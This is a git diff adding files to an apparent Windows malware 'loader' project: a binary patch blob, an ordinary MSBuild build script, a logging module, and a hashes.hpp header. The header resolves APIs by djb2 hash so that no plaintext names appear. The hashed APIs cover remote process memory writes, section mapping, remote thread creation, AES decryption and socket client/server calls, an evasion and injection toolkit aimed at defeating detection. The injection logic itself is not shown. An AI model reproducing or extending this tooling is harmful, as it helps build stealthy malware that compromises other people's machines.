zj5xkrVl-RvohKD)l30s@Xj@PSGl3dwNy;#A4jgiY>C&v2H2`hzOR+G8cCM8Nq+`gc z@x(e`6js_|ZKjn{VI*bBt08>aV6&*c1_J%vlI5Mzl5Hl|gD;Jlg1WEK5l`rn)h8RXHXQvL#6j4_<9wsl^#xm5uhV8!om_5ot1#CN3Ak`F8H*+Ytt6U_kwwHl~?F#rNp(^4y!H@PAoh) zv8{xt^)>stu!+>|Io1v<)Eb}F7?3Zeu@W2mAj1P_pGg``+AvwM1;QBL6rkP+zye+j z=_J!;IHk6tCAdOG4$gq-I@&^f^E6G2$z(dbK+C-=vn)`N8mqR8Fy8DzFp094(1L2)lCDVy|it zu)(%#WFfXCKuD(b&4LIxYbcB)mq(3`$%5-2d3mEf;Qx@@*QwSUlgU-Qr`8E;HB62d>Uz>a!T+}cHtKcJWct;b zza|Ys8m`f>Q$wcPa_S{l5#n?rYEg*yDjedy3spf(Tsp!>nCAd*d!Wtr;b?>u<+bLv0#vdULcbg{AqK9!z%RhU0h(FYy3xT~C$K&YYJ}!oL zUXOY~9@qm0-_U<<1aGpXw>CHg%fvr>{%ewG_`s*3YR8*dZbB6e^UHjC7slgyk)AyA z&z|10@xr(Yl!1R<`K!w1gF9eoub zGqjk?R^;0cxneJ4Vy5uzPLi{!FCyCcNUkqKh`R2z(Y5D59iu*B&!Rz(LF)EU`a^xU z|B-hSV&{kDvHvweE~ecvoU|+O_-(u~-24%@!X~p#z{|7Mo53@X^sFIh$@1IiYy)4( zGBq>^CD%6Ivutk0+x38c=Ig_gtOxe;+U1g5-kGT1<81@TCiX`@J8k7Mdck&V&o5ao zb|cNvWJ$W*H^g$)ZbX}h%tJ%S-HSf=XmX@Iss@hvBQ4V8pPfI_AL@_wcAGs8=?$hm zeZL(CX$+2}i8PGIUaUb`>__jOsmVKC3{y@c_$G!FPo|^FppEqk+6~@frWleRff@_u)2kYf7;qbEZx|Y>-nCxx{ ztO~RQL)<#NjPK;j)|@+I*X`!YU+u*%<2@!8wkp^XX{C@k9{wIWI*ohHHPA}UKKW-VWJuRP+Tu&Fo@s&_%rD%ymJ{QIvt`1V5-Vea16Q2_#u`M z`lAY#U8+}m7*V1Jc3>uXSRs#~K@bk{HMGa6Ax&f(`h3!854YD($Y+xfwFm=g6DIj) z__6*RV_ag);!&ZIwORR&OpnNH7$!1jctz&o;UUM#E^+eW6GLNav-2G}kilHoE8_b_?TRBo>odUCfCsL*Ov-=&x++x_=IB$+&E-|dY-4CuR#*g!e zafgPBk&!gvhHMU;4m)`U+Lfl0==VU0V4;93l5od{Q$@JpWHHJyPI&rVz0L|HgI(ma zz$*%7SmH}B<%m=Fjuqa>Nn+OotgGb;F>a~iH_?yA1zZ7KeAX6uSqb=KSGdHA8R^3F zEoX?bp#2|zqDP!~2z84(c2|xN2l8N7Fx|3A(@*rX9LNK>A_>qz_k^B%4Os&%Z#jPIi9aIr2416YbjI|fV(jE$;v~lwF}#0R zujVD6a%FxuBgtH}(Y)K?cn;5qwEWpvT6E1~whrg4e)z_xNMD_E);9EYd(tIX@0Edj zoMRpmo1DW^T)iHj_uAAnfBN@F%t-&HM@$6^VysO!$*ZV#h^Arq$;9Iv@iKy(=i^Qy zrNgO8hnIQ9viF9G478t&0`MI2)H<@fB5QGae_F5ifTu@k@OZCN>FgXKmgAWLlH)ld zr5-1Q;oZmPcVu`HXpfZsERpdol^6Nk30iqS!OtE%o)O|rn2o9Y@!=!a)`*C)qS9l9_*_p?CX#!`P#C3S`FH`z&_dAL_q9}qky4c+-+bGk_KxgiUyzn&X zG!9NW2BH83oW6J>;~R7;4g0v9Q*M&({N%=>~g*Aa#lef$IJ41FjmK!2Ohs{ z^QebNV%XSmF33GwWW3{%?Twv@tiy)UqO)9xzvKBx^JMpr)pm~c;=3Gny#znby9epk zG6YNA3NZesPRA)};*=R9#VPG$`%mo6K5#XzjH5M+tI`P+Cp zk$gOOOZ1~WNjPJ3U=Od4w{6Pm5Yo<~to{neKk>NId>9&56!c@*QtNGXI`%)H#>}&rhBC)Q@V)P|813 zSQuzl;qf84YzL9#Fp+>G+gyWJwmC^-MykjH!L#vfk~Gk6Y<@?&N2C{cd(r-C**lHT zKz+WK0bNfQ2Y@&1GU$p6tDY-it6ZHD!;5wxJYBCi{coAEf)c1=djcp?II^N<*O z?r@PiW3w~Yah-E0`@9!P-asFo_bePA;~62_!s{s)zRj9C!ai0FG9Y zlBD-I(>hYbSf_KnOWfi_r#JRquecXuotqmng_n8(J!U(CIfN|-|1&Z;*6Yve9nq5> z8eU7A^B~C0+=HK&@%$N2T3Y@VG_zUaCj92lyiWFFE|=#Ih(i%}qX^%0r~gVcIe+ar z=qeKxX~N-!y>HjHd#X!JJ>-FoqrH6v?|^vTL(=gA1sD|Of>D944+=-yw54@im?|!O z&n?bBmylU&cHI)9Bi8t)aODzn9?8KcFh7clOGZp-l>lC2<(+u_)O$C=KSzRPuq z(~04|P;G7*+Fa$JHg^E%-$HTneg{V{)5t+VI9diFv2MF#(Sn?{4+1b&5xwe?kR-hg01m-BBwriV2x_qJHE%KF1|; z8dhQq*oacYw&TeM3F?U5KX&~vv3|w~G2)H1e%X74I2uy#6}3Pedlqb0!)fBw8RNvM z7?;O*1dbg4facx6%i9CTZ}GTfIYR|oiy*1AXI)}~^N{OQX9v_|>}eRM&d3s3--=tP zn0=9Pqea#WiE)yLkVk|XM&Ui~1d;ZF8Xq+wPc_EP5R_KF?O-=m%KU2wb6e3qNz#<2DcSeL8Fzn9i3WkgE4OfZrGn&PC$BIFEBmxj)3i25S$9Z^0 zNO|-~(nTt_ewo7^&I@bb65?sTimgwXMX)DzOkaxUGjBy&Zi@H(RL_r6TrKIJj5yz! z{*3Durx<%O#%41{iS(bUw@K=42w5y07Z$kUkA5g?F7n;fG zLc9u_M*oK|p(HP>c~L@qh)1vu4ojL(AwHV6xZxEHqz>YJII7^U;67mUJ4SoO=!R4= zy3!*?lK;q84(7gmc<@E)=5HJ3{5VJ4e^or} z7YOVB2lBDu`PZWF177IrI9}5=m=Apilx$(^5XO#gTT2{o#kCHx?OlY~@UCYV@H%Z_ zI}z4NdbYGrBTOJ|9{JRNZzC-4J?Mcg?TG8JK7zFUwy>!P>ql6xEo>pedYQ)&{=WGB zv6Ax_-#=Dz_~QG=y4|f)@Qd#sE5mWT-#;$%T-w|anAcR-UKuR!Xo)n>#hq`W$cf#w z^E%qwv2v*QSBq|j#SYqGh0?tQIJf{Oh&#&UuGM+yIWI0*ys)Hfdcjm&TZlIqLCR&p z)q(aR%rD`{n2Gtib52b)j&I?5$eI98?)k!z2A}V;qH1gtF7{#O=1wtZ&a@irpT4>| zq9QLTDJt?+UoKh^lRr4d&r~lv=G1`CmDq%+PH?mYd~z#$K+%|2R8dm2l!=>LL%wMR zr1v+ZDQ&2!Z;SYv8xpYd{YBy%Dr5%1)p5n`;;q=I(%LRSb}QgdQw8Js`y9GS!xI?`1p%F%~!J!lFqf~g(LacZQJ^P zE3b*}IUQ}`rshUU=4eX8n(!A(m=PCHrCZc zF=O@1pcw@|ww@H5Z{lheCo_ACo2dz!bLhyIHa}GBUtqs?-1#!-Hl~3EKp>R*5 zEvv8VSlJY*iQNSqHocl3)VkS!>gx<^aLP;WQ8Eaz-o6-Ei^7d-K7YyBQ#7T_X>92T zH+}xpTAe`SkI*ADiO=0SDP6xDvAnJ*eC|d?3N;sT+#?&O$b&4(Fz$(!=5yE@O5>|Y zUxjOO{(TB3qgESRf~!9-2Q)LR^PjOzMmSXYH|!Lec47d(DR2QLljCGalBh%4x&NapQT49$%g@v4L9z;FmMfzzGA)g|!@=T8Q9y?RNBb0WqK6sAigyl08g?P&#$>?GcXLYZ_q)#cI(g zEfIH?OGz{bkvC|z)vRj7y##HMM)6hANJE1g^&92+QtYM|jp)_u#RO5)AscQD4=)KZ zM%1twYu^^pD6PN1i6`Qt(-ODghSJC?v@~(M=)hrH5D}Y1BLW$_LEs2?T?5`DY7i8- zy7}B0;(Sp9H2pSFgOs=rr$*kHh^?eJLxsAC1Up(-lXx-X+21-9hWEJ&fh$a#u|Uj_ zHXMkr3A4_4Vj9=|H;J(Vmm+{;?q8(H8=F^lv&Y8wAl0$&)YiJyNqQGvEq z&F#T9?o`DRLjnd)+~N}J8hL=4bydUD@wlwAy++4S?(&H7smK#`f!8i1pzP|U1HAAc zJC<7oE;DMPFqs->a-o9=L5fhQCW6aN#4y$wu6V?*S{xe0Ma$5=JS8v9^H2<*tN5jA zi}T{{nt-ShiUVlBbX2PR8hPH0d#Y<{LN(B!_LY#BJMM#&vcbJdQ)nx(y8MDVQP;u( z=(5TR;K6(DlhtxpsLFCt7Az;~s77Xu_Qaf}Vv>`UBHk`>nd_9+@DyA$It9|iHLVTJ z!6_}%rc9fnj73sB6%~ivaRs;?NhD!$7!d%qBh$e>5RvBAz)>)uayT7mM@Y^E*J*@~ z7SB38TD+200>*C6a#Xb`ON8$e)T^&u;FupIChp{%NV&X5Kp98upjq#dUo5BywBztI z#{2bwc{rd=?74$yRZ1Jgd|RkGzm7n0QVJ;JG6Kl85@IO|BgX(;;y+XPPOZLFu%rwv z!Os?cBU_}jW?gh)W<`h}iq-XD={mw>^8W{e&6>f#%X-1~*QR{OzSi(L2|c^qdZF>9 zfdS4oa!p6=OqUMnC4c-=vynn{+!kL;B391(>inflfuE^(QAp}|Wz|@T$D1t-rojBe)GTxjCHKoDu3ZH)nfec00@E80X{F!1Ojh-s)=ab;k=pENPwr1?8 zbdEIvXbJ~-G&;u`(8jeqPVi{-ATM+fN0AqX(rQu|_poEq6z}+hvN#%j@{0_Pu7t;t zN4zv&xIV80^0Q!5@$jrkC*UbK5AqAREx^5ao`L%SU}ThXcLGj0LAmn*uflT>I3d8h zwR;!fU$na)(44U#{1Kjh;1fEsVePR$IScS2Jfu?r_?t1%bA%rN+Zf`@e>&V|lk+e`@I+&=R+Ja5Cztw*;OLU!1b&%+E?UZ}!r0bO&j{|@2yvjRL< zQ0D`02q#>LXBpgtt$0FkhX9|(L;eo{cHe z0Z%c)3E#(44Yz&IKhFYu3(p#a6V5Fa;%jhM0FEp}{labE+s{4zt#}R~obU!bhv3Hd zSVTMa@KgTw{rlY4KXwsx`f_Xo13V9p1$QT4AD(=;`vE6csI>WjS8F%E0V6)f;|Gqo zM2JaCpp$Uh_vXtz`<0L>h?YJ+&lju zo(hB$zKf>;ZbEN0TKRoxz-+uHeRdRi+x`*_ba#K zX#x)6ck!%)8{bM0=X63p;TG#r_Uj=px;H@nczWPI0C?F(WmjtfZ^lEN+y>ZsBlH$H zAwaXInD8Y$d9|=tfbZa$4Y#;Shzs$Q!EN97%l*QSZ-PD`oNzy$+u$brEuNil9{@Ca zfC*3Cg1!dfgcI<*4L9MLcs_xf8_Fy3WYwWw0H3-A{J_l(z0ZGJ)mJaz-M67W5WWlW zqVEZDFWeP?@BIKY;TGHC`(QW1-Lf5NSKv+*z)g5+;ob_k`A*m_x&c?+jkW`KCt&W6 zh4?+(`G7yYANC7w`(9J-K|SXus7Gw+BzzB#4{q^OoO6Ca^-cDDr`&&f@Ilxd;1Irr zCjxgrpzk5%3pe4R-Kal?10MP%>Vs~;6MK*swq#m>5A8!*xO)Jvd=7Nst_8g0dB_gi z5o-a%FG2)xZw0&$PcPg&tNk_}>O5iYORA0J0j|*Q2Ef1LAx=NwrkBA7(h}Z_hv9@T zYxhCGQU9&NM*~jA!*(|taHS4k132{+g_95H;{zPR%d~qL;K75ijo6<@_!m6H$@(4a zA|CdSgui(e?FBgR0nY!u!l?#)01tJ0H{i-YK+eGV8sJ@cNM|pg_@lxhoUPqFw~p_V z$a3xM#i}tL;-B?8#yNN*pwk05;tkXh-1&e7c$(m@09=YE1UC;Gew*RwTje3SHfCq^x`0GB)ZGyI zLxl5Of*;5{&y8)GgZ^gES<~8LVXiWaI|mCVPMexPk@x-u8}Q;+II*g7{*;*$Eo_iz zYrq$3+i>46F36lX=faG%*|=st(7FO2hXR4NaN$IJCumj}*EY7+g{R;u!}ee}*ch3D zDc4zb;nu0ErcJ~pxNXgiST|W}&kdw3Yjy-zl}32&y{2~hF{n*HU8X}yT#(v2uLSfo8#T?LC`m+{&N+^vn@!ija^(zaFjTyOhCtD{+8AU_ee zqJ;w!t+QivX5*U$@*8SH$y*qZ^z3cAXclX@A|Ly~KAH2Kw?&#h9cYk!ZxW{`> z);&4*Soh@JlYbA0`W#qsLVtUg?=Jsc2kwgA)qmGVcZr?eoe1p2K45^JZP9I6clhoI k-LdtK-aGQPS8VUxeqg)x!=@kZ`k_E6fbzxPaZ2F-0b04Pj{pDw literal 0 HcmV?d00001 diff --git a/build.bat b/build.bat new file mode 100644 index 0000000..5d3d13b --- /dev/null +++ b/build.bat @@ -0,0 +1,291 @@ +@echo off +setlocal EnableExtensions EnableDelayedExpansion + +:: ============================================================================= +:: build.bat — portable build for loader (Release|x64 by default) +:: +:: Usage: +:: build.bat Build Release x64 +:: build.bat debug Build Debug x64 +:: build.bat clean Clean intermediate + output +:: build.bat --install If no MSVC found, install VS Build Tools (minimal) +:: build.bat --install debug Install tools then Debug build +:: +:: What it needs (auto if --install): +:: - Visual Studio 2019/2022/18 Build Tools OR full VS +:: workload: Desktop development with C++ (VCTools) +:: - Windows 10/11 SDK (pulled with workload) +:: +:: True zero-install is not possible: MSVC is ~1–3 GB. This script only +:: downloads the official Build Tools bootstrapper when you pass --install. +:: +:: Runtime: project links STATIC CRT (/MT Release, /MTd Debug) so loader.exe +:: does NOT need vcruntime140.dll / msvcp140.dll next to it on target PCs. +:: Prefer: build.bat (Release) for drop-and-run lab use. +:: ============================================================================= + +cd /d "%~dp0" +set "ROOT=%CD%" +set "SLN=%ROOT%\loader.sln" +set "CONFIG=Release" +set "PLATFORM=x64" +set "DO_INSTALL=0" +set "DO_CLEAN=0" +set "MSBUILD=" +set "VSWHERE=" +set "TOOLSET=" +set "VSINSTALL=" +set "VCVARS=" + +for %%A in (%*) do ( + if /I "%%~A"=="--install" set "DO_INSTALL=1" + if /I "%%~A"=="/install" set "DO_INSTALL=1" + if /I "%%~A"=="install" set "DO_INSTALL=1" + if /I "%%~A"=="debug" set "CONFIG=Debug" + if /I "%%~A"=="Debug" set "CONFIG=Debug" + if /I "%%~A"=="release" set "CONFIG=Release" + if /I "%%~A"=="Release" set "CONFIG=Release" + if /I "%%~A"=="clean" set "DO_CLEAN=1" + if /I "%%~A"=="Clean" set "DO_CLEAN=1" +) + +if not exist "%SLN%" ( + echo [x] loader.sln not found in "%ROOT%" + exit /b 1 +) + +echo. +echo ============================================ +echo loader build ^| %CONFIG%^|%PLATFORM% +echo ============================================ +echo. + +call :FindVsWhere +call :FindMsBuild +if defined MSBUILD goto :HaveToolchain + +if "%DO_INSTALL%"=="1" ( + call :InstallBuildTools + call :FindVsWhere + call :FindMsBuild +) + +if not defined MSBUILD ( + echo [x] MSBuild / C++ toolset not found. + echo. + echo Install options: + echo 1^) Re-run: build.bat --install + echo ^(downloads VS Build Tools + C++ workload, needs admin + internet^) + echo 2^) Manual: https://visualstudio.microsoft.com/visual-cpp-build-tools/ + echo Select "Desktop development with C++" + echo. + exit /b 1 +) + +:HaveToolchain +call :DetectToolset +echo [+] MSBuild : %MSBUILD% +if defined TOOLSET ( + echo [+] Toolset: %TOOLSET% +) else ( + echo [!] Toolset: ^(project default / auto^) +) +echo [+] Config : %CONFIG%^|%PLATFORM% +echo. + +if "%DO_CLEAN%"=="1" ( + echo [*] Cleaning... + "%MSBUILD%" "%SLN%" /t:Clean /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /m /nologo /v:minimal + if errorlevel 1 exit /b 1 + echo [+] Clean done. + exit /b 0 +) + +set "EXTRA_PROPS=" +if defined TOOLSET set "EXTRA_PROPS=/p:PlatformToolset=%TOOLSET%" + +echo [*] Building... +"%MSBUILD%" "%SLN%" /t:Build /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% %EXTRA_PROPS% /m /nologo /v:minimal +if errorlevel 1 ( + echo. + echo [x] Build FAILED. + echo If the exe is locked: close loader.exe and rebuild. + echo If toolset missing: build.bat --install + exit /b 1 +) + +set "OUT=%ROOT%\x64\%CONFIG%\loader.exe" +if exist "%OUT%" ( + echo. + echo [+] SUCCESS + echo [+] Output: %OUT% + for %%F in ("%OUT%") do echo [+] Size : %%~zF bytes +) else ( + echo. + echo [!] Build reported success but "%OUT%" not found. + echo Check loader\x64\%CONFIG%\ or project OutDir. +) + +echo. +exit /b 0 + +:: --------------------------------------------------------------------------- +:: Find vswhere.exe (ships with VS Installer) +:: --------------------------------------------------------------------------- +:FindVsWhere +set "VSWHERE=" +if exist "%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" ( + set "VSWHERE=%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" + exit /b 0 +) +if exist "%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe" ( + set "VSWHERE=%ProgramFiles%\Microsoft Visual Studio\Installer\vswhere.exe" +) +exit /b 0 + +:: --------------------------------------------------------------------------- +:: Locate MSBuild that can build C++ (prefers latest with VC tools) +:: --------------------------------------------------------------------------- +:FindMsBuild +set "MSBUILD=" +set "VSINSTALL=" + +if defined VSWHERE ( + :: Prefer install with Microsoft.VisualStudio.Component.VC.Tools.x86.x64 + for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do ( + set "VSINSTALL=%%I" + ) + if not defined VSINSTALL ( + for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.Component.MSBuild -property installationPath 2^>nul`) do ( + set "VSINSTALL=%%I" + ) + ) +) + +if defined VSINSTALL ( + if exist "!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe" ( + set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\amd64\MSBuild.exe" + exit /b 0 + ) + if exist "!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe" ( + set "MSBUILD=!VSINSTALL!\MSBuild\Current\Bin\MSBuild.exe" + exit /b 0 + ) +) + +:: Fallback: common fixed paths (VS 18 / 2022 / 2019 Build Tools + Community) +for %%P in ( + "%ProgramFiles%\Microsoft Visual Studio\18\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\18\Community\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\18\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\18\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\2022\Professional\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles%\Microsoft Visual Studio\2022\Enterprise\MSBuild\Current\Bin\amd64\MSBuild.exe" + "%ProgramFiles(x86)%\Microsoft Visual Studio\2019\BuildTools\MSBuild\Current\Bin\MSBuild.exe" + "%ProgramFiles(x86)%\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe" +) do ( + if exist %%~P ( + set "MSBUILD=%%~P" + exit /b 0 + ) +) + +:: PATH +where msbuild.exe >nul 2>&1 +if not errorlevel 1 ( + for /f "delims=" %%I in ('where msbuild.exe') do ( + set "MSBUILD=%%I" + exit /b 0 + ) +) +exit /b 0 + +:: --------------------------------------------------------------------------- +:: Pick PlatformToolset matching installed VS (project file says v145) +:: --------------------------------------------------------------------------- +:DetectToolset +set "TOOLSET=" + +:: Map VS major version from vswhere when possible +if defined VSWHERE ( + for /f "usebackq delims=" %%I in (`"%VSWHERE%" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationVersion 2^>nul`) do ( + set "VSVER=%%I" + ) + if defined VSVER ( + for /f "tokens=1 delims=." %%M in ("!VSVER!") do set "VSMAJOR=%%M" + if "!VSMAJOR!"=="18" set "TOOLSET=v145" + if "!VSMAJOR!"=="17" set "TOOLSET=v143" + if "!VSMAJOR!"=="16" set "TOOLSET=v142" + if defined TOOLSET exit /b 0 + ) +) + +:: Fallback: MSVC folder names under the install +if defined VSINSTALL if exist "!VSINSTALL!\VC\Tools\MSVC" ( + for /f "delims=" %%V in ('dir /b /ad /o-n "!VSINSTALL!\VC\Tools\MSVC" 2^>nul') do ( + set "VER=%%V" + set "MAJ=!VER:~0,4!" + if "!MAJ!"=="14.5" ( set "TOOLSET=v145" & exit /b 0 ) + if "!MAJ!"=="14.4" ( set "TOOLSET=v143" & exit /b 0 ) + if "!MAJ!"=="14.3" ( set "TOOLSET=v143" & exit /b 0 ) + if "!MAJ!"=="14.2" ( set "TOOLSET=v142" & exit /b 0 ) + ) +) + +:: Last resort: leave empty so .vcxproj PlatformToolset is used +exit /b 0 + +:: --------------------------------------------------------------------------- +:: Download + install minimal VS Build Tools (C++ desktop workload) +:: --------------------------------------------------------------------------- +:InstallBuildTools +echo. +echo [!] No C++ toolchain found. Installing Visual Studio Build Tools... +echo Workload: Desktop development with C++ (VCTools) +echo This needs Administrator rights and internet. Size ~1.5–3 GB. +echo. + +:: Prefer winget if present (cleanest) +where winget.exe >nul 2>&1 +if not errorlevel 1 ( + echo [*] Trying winget install of VS 2022 Build Tools... + winget install -e --id Microsoft.VisualStudio.2022.BuildTools --accept-package-agreements --accept-source-agreements --override "--wait --passive --add Microsoft.VisualStudio.Workload.VCTools --includeRecommended --add Microsoft.VisualStudio.Component.Windows11SDK.22621" + if not errorlevel 1 ( + echo [+] winget install finished. + exit /b 0 + ) + echo [!] winget install failed or cancelled — falling back to bootstrapper. +) + +set "BT_DIR=%ROOT%\.build-tools" +set "BT_EXE=%BT_DIR%\vs_BuildTools.exe" +if not exist "%BT_DIR%" mkdir "%BT_DIR%" + +if not exist "%BT_EXE%" ( + echo [*] Downloading VS Build Tools bootstrapper... + :: Official ever-green bootstrapper (VS 2022 Build Tools) + powershell -NoProfile -ExecutionPolicy Bypass -Command ^ + "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vs_BuildTools.exe' -OutFile '%BT_EXE%' -UseBasicParsing } catch { Write-Error $_; exit 1 }" + if errorlevel 1 ( + echo [x] Download failed. + exit /b 1 + ) +) + +echo [*] Running installer (passive). Approve UAC if prompted... +"%BT_EXE%" --wait --passive --norestart ^ + --add Microsoft.VisualStudio.Workload.VCTools ^ + --includeRecommended ^ + --add Microsoft.VisualStudio.Component.Windows11SDK.22621 + +if errorlevel 1 ( + echo [x] Build Tools install failed (exit %ERRORLEVEL%). + echo Run this .bat as Administrator, or install manually: + echo https://visualstudio.microsoft.com/visual-cpp-build-tools/ + exit /b 1 +) + +echo [+] Build Tools install finished. +exit /b 0 diff --git a/lib/common/hashes.hpp b/lib/common/hashes.hpp new file mode 100644 index 0000000..3b60e6a --- /dev/null +++ b/lib/common/hashes.hpp @@ -0,0 +1,87 @@ +#pragma once + +#include + +// djb2 — compile-time and runtime hash for module/export resolution. +// No plaintext API names required at call sites; only DWORD constants. +namespace Hashes { + +constexpr std::uint32_t kSeed = 5381u; + +constexpr std::uint32_t Djb2(const char* s) { + std::uint32_t h = kSeed; + while (*s) { + h = (h * 33u) + static_cast(*s++); + } + return h; +} + +constexpr std::uint32_t Djb2Lower(const char* s) { + std::uint32_t h = kSeed; + while (*s) { + char c = *s++; + if (c >= 'A' && c <= 'Z') { + c = static_cast(c + 32); + } + h = (h * 33u) + static_cast(c); + } + return h; +} + +// --- Module hashes (lowercase basename) --- +constexpr std::uint32_t H_NTDLL_DLL = Djb2Lower("ntdll.dll"); +constexpr std::uint32_t H_KERNEL32_DLL = Djb2Lower("kernel32.dll"); +constexpr std::uint32_t H_LoadLibraryW = Djb2("LoadLibraryW"); +constexpr std::uint32_t H_CreateThread = 0x7F08F451u; // api_hash verified +constexpr std::uint32_t H_WaitForSingleObject = Djb2("WaitForSingleObject"); +constexpr std::uint32_t H_CloseHandle = Djb2("CloseHandle"); +constexpr std::uint32_t H_CreateProcessW = Djb2("CreateProcessW"); +constexpr std::uint32_t H_CreateRemoteThread = Djb2("CreateRemoteThread"); +constexpr std::uint32_t H_ResumeThread = Djb2("ResumeThread"); +constexpr std::uint32_t H_SearchPathW = Djb2("SearchPathW"); +constexpr std::uint32_t H_OpenProcess = Djb2("OpenProcess"); +constexpr std::uint32_t H_WS2_32_DLL = Djb2Lower("ws2_32.dll"); +constexpr std::uint32_t H_BCRYPT_DLL = Djb2Lower("bcrypt.dll"); + +// --- NT exports (syscall targets) --- +constexpr std::uint32_t H_NtAllocateVirtualMemory = Djb2("NtAllocateVirtualMemory"); +constexpr std::uint32_t H_NtProtectVirtualMemory = Djb2("NtProtectVirtualMemory"); +constexpr std::uint32_t H_NtWriteVirtualMemory = Djb2("NtWriteVirtualMemory"); +constexpr std::uint32_t H_NtFreeVirtualMemory = Djb2("NtFreeVirtualMemory"); +constexpr std::uint32_t H_NtCreateSection = Djb2("NtCreateSection"); +constexpr std::uint32_t H_NtMapViewOfSection = Djb2("NtMapViewOfSection"); +constexpr std::uint32_t H_NtUnmapViewOfSection = Djb2("NtUnmapViewOfSection"); +constexpr std::uint32_t H_NtOpenProcess = Djb2("NtOpenProcess"); +constexpr std::uint32_t H_NtCreateThreadEx = Djb2("NtCreateThreadEx"); +constexpr std::uint32_t H_NtClose = Djb2("NtClose"); +constexpr std::uint32_t H_NtQuerySystemInformation = Djb2("NtQuerySystemInformation"); +constexpr std::uint32_t H_NtCreateFile = Djb2("NtCreateFile"); +constexpr std::uint32_t H_NtReadFile = Djb2("NtReadFile"); +constexpr std::uint32_t H_NtQueryInformationProcess = Djb2("NtQueryInformationProcess"); + +// --- BCrypt (AES) — runtime-verified on MSVC x64 --- +constexpr std::uint32_t H_BCryptOpenAlgorithmProvider = 0x2A15DFDDu; +constexpr std::uint32_t H_BCryptCloseAlgorithmProvider = 0xFCD0CDC1u; +constexpr std::uint32_t H_BCryptGenerateSymmetricKey = 0xA81D472Au; +constexpr std::uint32_t H_BCryptDestroyKey = 0x7B16C8CCu; +constexpr std::uint32_t H_BCryptEncrypt = 0xCB04529Eu; +constexpr std::uint32_t H_BCryptDecrypt = 0x690BA834u; +constexpr std::uint32_t H_BCryptSetProperty = 0xE9049EEAu; +constexpr std::uint32_t H_BCryptGenRandom = 0x3A73C634u; + +// --- Winsock (HTTP client/server) --- +constexpr std::uint32_t H_WSAStartup = Djb2("WSAStartup"); +constexpr std::uint32_t H_WSACleanup = Djb2("WSACleanup"); +constexpr std::uint32_t H_socket = Djb2("socket"); +constexpr std::uint32_t H_connect = Djb2("connect"); +constexpr std::uint32_t H_send = Djb2("send"); +constexpr std::uint32_t H_recv = Djb2("recv"); +constexpr std::uint32_t H_closesocket = Djb2("closesocket"); +constexpr std::uint32_t H_bind = Djb2("bind"); +constexpr std::uint32_t H_listen = Djb2("listen"); +constexpr std::uint32_t H_accept = Djb2("accept"); +constexpr std::uint32_t H_getaddrinfo = Djb2("getaddrinfo"); +constexpr std::uint32_t H_freeaddrinfo = Djb2("freeaddrinfo"); +constexpr std::uint32_t H_setsockopt = Djb2("setsockopt"); + +} // namespace Hashes \ No newline at end of file diff --git a/lib/common/log.cpp b/lib/common/log.cpp new file mode 100644 index 0000000..2b52cd7 --- /dev/null +++ b/lib/common/log.cpp @@ -0,0 +1,141 @@ +#include "log.hpp" + +#include + +namespace Log { + +namespace { + bool g_verbose = false; + bool g_serverVerbose = false; + + void VPrint(const char* prefix, const char* fmt, va_list args) { + std::fprintf(stdout, "%s ", prefix); + std::vfprintf(stdout, fmt, args); + std::fprintf(stdout, "\n"); + std::fflush(stdout); + } + + void VPrintIf(bool enabled, const char* prefix, const char* fmt, va_list args) { + if (!enabled) { + return; + } + VPrint(prefix, fmt, args); + } +} // namespace + +void SetVerbose(bool enabled) { + g_verbose = enabled; +} + +void SetServerVerbose(bool enabled) { + g_serverVerbose = enabled; +} + +bool IsVerbose() { + return g_verbose; +} + +bool IsServerVerbose() { + return g_serverVerbose; +} + +void Ok(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrint("[+]", fmt, args); + va_end(args); +} + +void Warn(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrint("[!]", fmt, args); + va_end(args); +} + +void Err(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrint("[x]", fmt, args); + va_end(args); +} + +void Info(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_verbose, "[*]", fmt, args); + va_end(args); +} + +void Dbg(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_verbose, "[-]", fmt, args); + va_end(args); +} + +void Sys(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_verbose, "[@]", fmt, args); + va_end(args); +} + +void Raw(const char* fmt, ...) { + va_list args; + va_start(args, fmt); + VPrintIf(g_verbose, "[@]", fmt, args); + va_end(args); +} + +void Banner(const char* title) { + if (!g_verbose) { + return; + } + std::fprintf(stdout, "\n[@] === %s ===\n", title); + std::fflush(stdout); +} + +void NtStatus(const char* tag, long status) { + if (!g_verbose) { + return; + } + std::fprintf(stdout, "[@] %s NTSTATUS=0x%08lX (%s)\n", tag, + static_cast(status), + status >= 0 ? "SUCCESS" : "FAIL"); + std::fflush(stdout); +} + +void HexPreview(const char* tag, const void* data, size_t len, size_t maxBytes) 